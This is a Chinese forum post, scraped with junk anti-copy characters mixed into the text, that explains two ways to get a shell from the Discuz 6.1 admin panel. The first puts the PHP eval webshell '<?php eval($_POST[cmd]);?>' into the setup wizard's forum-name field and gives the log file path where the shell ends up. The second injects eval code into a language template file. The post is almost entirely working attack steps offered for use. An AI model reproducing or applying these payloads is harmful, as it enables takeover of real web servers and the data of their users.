discuz6.1两种方法后台拿shell
" p9 T* V) r$ l V好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
0 l+ l3 C$ U' }0 L7 M c1:
9 q* e4 |. H: |: Q0 m. thttp://127.0.0.1/discuz/admincp. ... zard&frames=yes- }# v4 g7 k) ?9 P7 W. L
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell0 H8 h; O& r8 w9 F! C* Y
<?php eval($_POST[cmd]);?>8 D4 U: H% v# |6 ~
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php2 R* V& B0 r( g4 I' W) r
" ?! W, a* v5 w9 |, M; f2 U" b
" y* J! z) z' W6 Q! d2:后台模板管理--默认模板套系--详情
7 V6 Y; X' Z/ C6 M8 B5 stemplates/default/actions.lang.php9 X+ v0 n+ {, Y/ z2 I! C; D
jhackj\\');eval($_POST[cmd])?>;//2 J. ?5 X( e& h# Z* t* ]3 ]" D, X
. x+ t* ^1 [6 |2 u: o7 l利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对